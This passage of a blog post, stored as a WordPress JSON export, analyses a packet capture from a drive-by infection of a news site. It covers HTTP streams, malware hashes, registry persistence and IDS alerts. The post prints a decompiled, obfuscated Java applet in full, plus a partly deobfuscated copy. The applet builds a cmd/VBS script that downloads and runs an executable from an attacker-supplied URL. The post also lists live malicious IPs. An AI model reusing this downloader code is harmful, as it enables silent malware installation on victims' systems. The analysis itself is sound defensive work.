private\r\nContent-Length: 0\r\n<\/pre>\n<p>The GET request decoded:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/sa.htm?id=25685989&amp;refe=http:\/\/www.koreatimes.com\/&amp;location=http:\/\/199.188.106.162\/index.html&amp;color=24x&amp;resolution=800x600&amp;returning=0&amp;language=en-us&amp;ua=Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0) HTTP\/1.1\r\n<\/pre>\n<p>We now get into the heart of this infection chain. It is here in the next several streams that we start seeing the malicious files being downloaded to the user&#8217;s system. The first one up is this one:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/66.exe HTTP\/1.1\r\nAccept: *\/*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\/4.0)\r\nHost: 199.188.106.162\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nContent-Length: 69590\r\nContent-Type: application\/octet-stream\r\nLast-Modified: Sat, 19 Sep 2015 14:32:04 GMT\r\nAccept-Ranges: bytes\r\nETag: &quot;addca2f4e7f2d01:246&quot;\r\nServer: Microsoft-IIS\/6.0\r\nDate: Sun, 20 Sep 2015 12:09:45 GMT\r\n\r\nMZ......................@...............................................!..L.!This program cannot be run in DOS mode.\r\n<\/pre>\n<p>This file has the following characteristics found on VirusTotal:<\/p>\n<p>Name: 66.exe<br \/>\nMD5 Hash: 65d8e25bab3b1b162196a49401ce98e1<br \/>\nFirst submission 2015-09-20 20:27:12 UTC<br \/>\nDetection Ratio: 44 \/ 56<br \/>\nVirusTotal Link: http:\/\/www.virustotal.com\/en\/file\/871ce05955d90f78580ac13da091d778edae54495f3245651aabece4d65dba38\/analysis\/1444943548\/<\/p>\n<p>After running this file, I did get the same beaconing as I expected, but I also got some additional changes to the OS and some more files which was captured with regshot. The files that were added to my test VM were:<\/p>\n<p>Name: xmlUpdater.exe<br \/>\nMD5 Hash: 887173f53072cd2d238014f4199b35cf<br \/>\nFirst submission  2009-06-28 22:43:21 UTC<br \/>\nDetection Ratio: 0 \/ 56<br \/>\nVirusTotal Link: http:\/\/www.virustotal.com\/en\/file\/15de06246baae220effc2124ff192bf8a1ee2c82b6d19bed2dd41d6e693be0ed\/analysis\/1445002456\/<\/p>\n<p>Name: 66.exe<br \/>\nMD5 Hash: 1ef8918c407283e8b6519538c8fc260f<br \/>\nFirst submission 2015-09-20 23:24:10 UTC<br \/>\nDetection Ratio: 44 \/ 56<br \/>\nVirusTotal Link: http:\/\/www.virustotal.com\/en\/file\/c8400afee8ef608c648e8a71ecca5118cee73ce48d2aab93156a423c8fb643b1\/analysis\/1445002524\/<\/p>\n<p>Snippet from regshot (the ReadMe.txt was empty).<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n----------------------------------\r\nValues added: 74\r\n----------------------------------\r\n....\r\nHKU\\S-1-5-21-3862639240-4259269860-3308957193-500\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\EvtMgr: &quot;C:\\windows\\SysWOW64\\rundll32.exe &quot;c:\\laonp\\akzlskv.kla&quot;,Compress&quot;\r\n....\r\n----------------------------------\r\nFiles added: 4\r\n----------------------------------\r\nC:\\Users\\Administrator\\AppData\\Local\\Temp\\wireshark_pcapng_C57520F7-185B-4F83-BD7C-5CD3C66C9EA6_20151016055519_a00748\r\nC:\\Users\\Administrator\\Desktop\\xmlUpdater.exe\r\nC:\\laonp\\akzlskv.kla\r\nC:\\laonp\\ReadMe.txt\r\n<\/pre>\n<p>The next one in the stream grabs the malicious jar file:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/YcVoEu.jar HTTP\/1.1\r\naccept-encoding: pack200-gzip, gzip\r\ncontent-type: application\/x-java-archive\r\nUser-Agent: Mozilla\/4.0 (Windows XP 5.1) Java\/1.6.0_10\r\nHost: 199.188.106.162\r\nAccept: text\/html, image\/gif, image\/jpeg, *; q=.2, *\/*; q=.2\r\nConnection: keep-alive\r\n\r\nHTTP\/1.1 200 OK\r\nContent-Length: 2983\r\nContent-Type: application\/java-archive\r\nLast-Modified: Thu, 17 Sep 2015 11:38:18 GMT\r\nAccept-Ranges: bytes\r\nETag: &quot;108f3d593df1d01:246&quot;\r\nServer: Microsoft-IIS\/6.0\r\nDate: Sun, 20 Sep 2015 12:09:47 GMT\r\n<\/pre>\n<p>When we open this up via Java Decomplier, we get the following code<\/p>\n<pre class=\"brush: java; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nimport java.applet.Applet;\r\nimport javax.script.ScriptEngine;\r\nimport javax.script.ScriptEngineManager;\r\nimport javax.swing.JList;\r\n\r\npublic class regedt32\r\n  extends Applet\r\n{\r\n  private JList list;\r\n  \r\n  public void init()\r\n  {\r\n    try\r\n    {\r\n      Object localObject1 = null;\r\n      Object localObject2 = null;\r\n      \r\n      String str1 = &quot; ############################################################################################################################################################################################################################################@@@@@@@@@@@@@@@@~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~@@ &quot;;\r\n      String str2 = &quot;ess&quot;;\r\n      String str3 = &quot;t&quot;;\r\n      String str4 = str3 + &quot;y&quot;;\r\n      String str5 = &quot;v&quot;;\r\n      String str6 = &quot;cu&quot;;\r\n      String str7 = &quot;.&quot;;\r\n      String str8 = str7 + &quot;e&quot;;\r\n      String str9 = &quot;d&quot; + str8;\r\n      String str10 = &quot;cm&quot; + str9 + &quot;xe&quot;;\r\n      String str11 = &quot;tS&quot;;\r\n      String str12 = &quot;e&quot; + str11;\r\n      String str13 = str12 + &quot;e&quot; + str6;\r\n      String str14 = &quot;te&quot;;\r\n      String str15 = &quot;an&quot;;\r\n      String str16 = &quot;l&quot; + str15 + &quot;g&quot;;\r\n      String str17 = &quot;a.&quot; + str16 + &quot;.S&quot;;\r\n      String str18 = &quot;v&quot; + str17 + &quot;y&quot;;\r\n      String str19 = &quot;.s&quot; + str13 + &quot;r&quot;;\r\n      String str20 = &quot;ja&quot; + str18 + &quot;s&quot; + str14 + &quot;m&quot; + str19 + &quot;i&quot; + str4;\r\n      Object localObject3 = null;\r\n      Object localObject4 = null;\r\n      String str21 = getParameter(&quot;dota&quot;);\r\n      String str22 = &quot;function&quot;;\r\n      String str23 = &quot;j&quot;;\r\n      String str24 = &quot;return \\&quot;succ&quot; + str2 + &quot;ful\\&quot;;};&quot;;\r\n      String str25 = &quot;s&quot;;\r\n      String str26 = &quot;error.message = this;&quot;;\r\n      String str27 = &quot;ts(0)&quot;;\r\n      String str28 = &quot;ho UR&quot;;\r\n      String str29 = &quot;m=\\&quot;!!!!!!!!!!!!!!M!!i!c!r!o!s!o!f!t!!.!XM!L!H!T!!T!!P!\\&quot;&quot;;\r\n      String str30 = &quot;s=\\&quot;%uA%u%uD%uO%uD%uB.%uS%ut%ur%ue%ua%u%um\\&quot;&quot;;\r\n      String str31 = &quot;var error = new Error(\\&quot;My error\\&quot;);&quot;;\r\n      String str32 = &quot;ntime.getRuntime().ex&quot;;\r\n      String str33 = &quot;%SystemRoot%\\\\\\\\regedt32.Temp.VbS&quot;;\r\n      String str34 = str31 + &quot;this.toString = &quot; + str22 + &quot;(){ &quot; + str20 + &quot;Manager(null);ja&quot; + str5 + &quot;a.la&quot; + &quot;ng.Ru&quot; + str32 + &quot;ec('&quot; + str10 + &quot; \/c ec&quot; + str28 + &quot;L = LCase(WScript.Argumen&quot; + str27 + &quot;)&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo dim m,s&gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo &quot; + str29 + &quot;&gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo &quot; + str30 + &quot; &gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo set cmd = Createobject(replace(m,\\&quot;!\\&quot;,\\&quot;\\&quot;)) &gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo cmd.Open \\&quot;GET\\&quot;,URL,0 &gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo cmd.Send()&gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo FileName=LCase(WScript.Arguments(1))&gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo Set CsCriptGet = Createobject(replace(s,\\&quot;%u\\&quot;,\\&quot;\\&quot;))&gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo CsCriptGet.Mode=^3&gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo CsCriptGet.Type=^1&gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo CsCriptGet.Open()&gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo CsCriptGet.Write(cmd.responseBody)&gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo CsCriptGet.SaveToFile FileName,^2&gt;&gt;\\&quot;&quot; + str33 + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c cscript \\&quot;&quot; + str33 + &quot;\\&quot; &quot; + str21 + &quot; \\&quot;%TEMP%\\\\\\\\Uninst.exe\\&quot;&amp;&amp; \\&quot;%TEMP%\\\\\\\\Uninst.exe\\&quot;');&quot; + str24 + str26;\r\n      ScriptEngine localScriptEngine = new ScriptEngineManager().getEngineByExtension(str23 + str25);\r\n      localScriptEngine.eval(str34);\r\n      this.list = new JList(new Object&#x5B;] { localScriptEngine.get(&quot;error&quot;) });\r\n      \r\n      add(this.list);\r\n    }\r\n    catch (Exception localException)\r\n    {\r\n      localException.printStackTrace();\r\n    }\r\n  }\r\n}\r\n<\/pre>\n<p>Plugging away at the variables in the above script I came away with this (after running it through JSBeautify):<\/p>\n<pre class=\"brush: java; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n String str1 =\r\n     &quot; ############################################################################################################################################################################################################################################@@@@@@@@@@@@@@@@~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~@@ &quot;;\r\n String str2 = &quot;ess&quot;;\r\n String str3 = &quot;t&quot;;\r\n String str4 = t + &quot;y&quot;;\r\n String str5 = &quot;v&quot;;\r\n String str6 = &quot;cu&quot;;\r\n String str7 = &quot;.&quot;;\r\n String str8 = . + &quot;e&quot;;\r\n String str9 = &quot;d&quot; + .e;\r\n String str10 = &quot;cm&quot; + d.e + &quot;xe&quot;;\r\n String str11 = &quot;tS&quot;;\r\n String str12 = &quot;e&quot; + tS;\r\n String str13 = etS + &quot;e&quot; + cu;\r\n String str14 = &quot;te&quot;;\r\n String str15 = &quot;an&quot;;\r\n String str16 = &quot;l&quot; + an + &quot;g&quot;;\r\n String str17 = &quot;a.&quot; + lang + &quot;.S&quot;;\r\n String str18 = &quot;v&quot; + a.lang.s + &quot;y&quot;;\r\n String str19 = &quot;.s&quot; + etSecu + &quot;r&quot;;\r\n String str20 = &quot;ja&quot; + va.lang.sy + &quot;s&quot; +\r\n     te + &quot;m&quot; + .setSecur + &quot;i&quot; + ty;\r\n Object localObject3 = null;\r\n Object localObject4 = null;\r\n String str21 = getParameter(&quot;dota&quot;);\r\n String str22 = &quot;function&quot;;\r\n String str23 = &quot;j&quot;;\r\n String str24 = &quot;return \\&quot;succ&quot; + ess +\r\n     &quot;ful\\&quot;;};&quot;;\r\n String str25 = &quot;s&quot;;\r\n String str26 = &quot;error.message = this;&quot;;\r\n String str27 = &quot;ts(0)&quot;;\r\n String str28 = &quot;ho UR&quot;;\r\n String str29 =\r\n     &quot;m=\\&quot;!!!!!!!!!!!!!!M!!i!c!r!o!s!o!f!t!!.!XM!L!H!T!!T!!P!\\&quot;&quot;;\r\n String str30 =\r\n     &quot;s=\\&quot;%uA%u%uD%uO%uD%uB.%uS%ut%ur%ue%ua%u%um\\&quot;&quot;;\r\n String str31 =\r\n     &quot;var error = new Error(\\&quot;My error\\&quot;);&quot;;\r\n String str32 = &quot;ntime.getRuntime().ex&quot;;\r\n String str33 =\r\n     &quot;%SystemRoot%\\\\\\\\regedt32.Temp.VbS&quot;;\r\n String str34 =\r\n     var error = new Error(\\\r\n             &quot;My error\\&quot;) + &quot;\r\n             this.toString =\r\n             &quot; + function + &quot; () {\r\n                 &quot; + str20 + &quot;\r\n                 Manager(null);\r\n                 ja &quot; + v + &quot;\r\n                 a.la &quot; + &quot;\r\n                 ng.Ru &quot; + ntime.getRuntime().ex + &quot;\r\n                 ec(\r\n                     '&quot; + cmd.exe + &quot; \/c ec&quot; + ho UR + &quot;L = LCase(WScript.Argumen&quot; + ts(0) + &quot;)&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + cmd.exe + &quot; \/c echo dim m,s&gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + cmd.exe + &quot; \/c echo &quot; + m=\\&quot;!!!!!!!!!!!!!!M!!i!c!r!o!s!o!f!t!!.!XM!L!H!T!!T!!P!\\ + &quot;&gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + cmd.exe + &quot; \/c echo &quot; + s=\\&quot;%uA%u%uD%uO%uD%uB.%uS%ut%ur%ue%ua%u%um\\ + &quot; &gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + cmd.exe + &quot; \/c echo set cmd = Createobject(replace(m,\\&quot;!\\&quot;,\\&quot;\\&quot;)) &gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + cmd.exe + &quot; \/c echo cmd.Open \\&quot;GET\\&quot;,URL,0 &gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo cmd.Send()&gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo FileName=LCase(WScript.Arguments(1))&gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + cmd.exe + &quot; \/c echo Set CsCriptGet = Createobject(replace(s,\\&quot;%u\\&quot;,\\&quot;\\&quot;))&gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + cmd.exe + &quot; \/c echo CsCriptGet.Mode=^3&gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo CsCriptGet.Type=^1&gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo CsCriptGet.Open()&gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + str10 + &quot; \/c echo CsCriptGet.Write(cmd.responseBody)&gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + cmd.exe + &quot; \/c echo CsCriptGet.SaveToFile FileName,^2&gt;&gt;\\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot;&amp;&amp;&quot; + cmd.exe + &quot; \/c cscript \\&quot;&quot; + %SystemRoot%\\\\\\\\regedt32.Temp.VbS + &quot;\\&quot; &quot; + getParameter(&quot;dota&quot;) + &quot; \\&quot;%TEMP%\\\\\\\\Uninst.exe\\&quot;&amp;&amp; \\&quot;%TEMP%\\\\\\\\Uninst.exe\\&quot;'\r\n                 );\r\n                 &quot; + return \\success fully + error.message = this;\r\n                 ScriptEngine localScriptEngine\r\n                     = new ScriptEngineManager()\r\n                     .getEngineByExtension(\r\n                         j + s);\r\n                 localScriptEngine.eval(\r\n                     str34);\r\n                 this.list = new JList(\r\n                     new Object&#x5B;] {\r\n                         localScriptEngine\r\n                             .get(\r\n                                 &quot;error&quot;\r\n                             )\r\n                     });\r\n<\/pre>\n<p>This file has the following characteristics found on VirusTotal:<\/p>\n<p>Name: YcVoEu.jar<br \/>\nMD5 Hash: 65f128db98cec269f21f891c97b12ce8<br \/>\nFirst submission 2015-09-18 04:22:07 UTC<br \/>\nDetection Ratio: 24 \/ 56<br \/>\nVirusTotal Link: http:\/\/www.virustotal.com\/en\/file\/07046929cfd6c6ffed93ab5a7b726c085498c1ee076cc476ddaeb2a658075856\/analysis\/1444945396\/<br \/>\n**Note: The one thing about this is that VirusTotal has a CVE label for this particular file (http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2011-3544). I am not sure if this is linked to the one mentioned above or not, but seems to be possibly related. <\/p>\n<p>I did try to run this within my test VM, but it would not run at all. <\/p>\n<p>The next couple of pages all return 404 errors as seen below:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/com.class HTTP\/1.1\r\nUser-Agent: Mozilla\/4.0 (Windows XP 5.1) Java\/1.6.0_10\r\nHost: 199.188.106.162\r\nAccept: text\/html, image\/gif, image\/jpeg, *; q=.2, *\/*; q=.2\r\nConnection: keep-alive\r\n\r\nHTTP\/1.1 404 Not Found\r\nContent-Length: 1635\r\nContent-Type: text\/html\r\nServer: Microsoft-IIS\/6.0\r\nDate: Sun, 20 Sep 2015 12:09:47 GMT\r\n-----\r\nGET \/edu.class HTTP\/1.1\r\nUser-Agent: Mozilla\/4.0 (Windows XP 5.1) Java\/1.6.0_10\r\nHost: 199.188.106.162\r\nAccept: text\/html, image\/gif, image\/jpeg, *; q=.2, *\/*; q=.2\r\nConnection: keep-alive\r\n\r\nHTTP\/1.1 404 Not Found\r\nContent-Length: 1635\r\nContent-Type: text\/html\r\nServer: Microsoft-IIS\/6.0\r\nDate: Sun, 20 Sep 2015 12:09:47 GMT\r\n-----\r\nGET \/net.class HTTP\/1.1\r\nUser-Agent: Mozilla\/4.0 (Windows XP 5.1) Java\/1.6.0_10\r\nHost: 199.188.106.162\r\nAccept: text\/html, image\/gif, image\/jpeg, *; q=.2, *\/*; q=.2\r\nConnection: keep-alive\r\n\r\nHTTP\/1.1 404 Not Found\r\nContent-Length: 1635\r\nContent-Type: text\/html\r\nServer: Microsoft-IIS\/6.0\r\nDate: Sun, 20 Sep 2015 12:09:47 GMT\r\n-----\r\nGET \/org.class HTTP\/1.1\r\nUser-Agent: Mozilla\/4.0 (Windows XP 5.1) Java\/1.6.0_10\r\nHost: 199.188.106.162\r\nAccept: text\/html, image\/gif, image\/jpeg, *; q=.2, *\/*; q=.2\r\nConnection: keep-alive\r\n\r\nHTTP\/1.1 404 Not Found\r\nContent-Length: 1635\r\nContent-Type: text\/html\r\nServer: Microsoft-IIS\/6.0\r\nDate: Sun, 20 Sep 2015 12:09:47 GMT\r\n-----\r\n<\/pre>\n<p>Almost there&#8230; Getting towards the end of the PCAP now. The next call is:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/\/joy.asp?sid=uu0WmdaWmxXovuXmFfDPBIbyucbtudj8mdKXotiYmte@ HTTP\/1.1\r\nUser-Agent: Mozilla\/4.0 (compatible)\r\nHost: 142.0.137.70:803\r\nCache-Control: no-cache\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Sun, 20 Sep 2015 12:09:52 GMT\r\nServer: Microsoft-IIS\/6.0\r\nContent-Length: 0\r\nContent-Type: text\/html\r\nSet-Cookie: ASPSESSIONIDQSBCATAC=HPBOGPJCKCHNPIKKHMKAEOOE; path=\/\r\nCache-control: private\r\n<\/pre>\n<p>With the final stream being as follows:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\nGET \/index.php HTTP\/1.1\r\nUser-Agent: Mozilla\/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko\/20110303 Firefox\/3.6.15\r\nHost: 142.0.137.69:805\r\nCache-Control: no-cache\r\n\r\nHTTP\/1.1 200 OK\r\nConnection: close\r\nDate: Sun, 20 Sep 2015 12:09:56 GMT\r\nServer: Microsoft-IIS\/6.0\r\nX-Powered-By: PHP\/5.2.5\r\nContent-type:application\/zip\r\n\r\n.............\r\n<\/pre>\n<p>The interesting thing about this last stream is the fact that the page being request is &#8216;index.php,&#8217; yet the content-type is &#8220;application\/zip.&#8221; Looking at the file via a hex editor I am not seeing anything else that would label this file as a zip file. I also tried to unzip it via 7zip and it was not a valid archive. <\/p>\n<p>Lastly, alerts generated by replaying this through my local install of Security Onion:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/10\/Squert1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/10\/Squert1.png\" alt=\"Squert1\" width=\"1039\" height=\"409\" class=\"aligncenter size-full wp-image-209\" \/><\/a><\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/10\/Squert2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2015\/10\/Squert2.png\" alt=\"Squert2\" width=\"1039\" height=\"409\" class=\"aligncenter size-medium wp-image-210\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>So while waiting for Brad to come up with his next exercise, I figured that I would do some lab work &#8220;independently&#8221; while I waited. So I went over to Threatglass to see what I could find there. This one stood out to me being half-Korean and all so I figured that I would try my hand at it. The one that I used is from the Korea Times website. There you can find the PCAP and the screenshots that Threatglass posts. One thing that I wanted to note here is my lack of knowledge and understanding around how to&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=206\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-206","post","type-post","status-publish","format-standard","hentry","category-packet-analysis"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/206","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=206"}],"version-history":[{"count":9,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/206\/revisions"}],"predecessor-version":[{"id":217,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/206\/revisions\/217"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=206"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=206"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=206"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}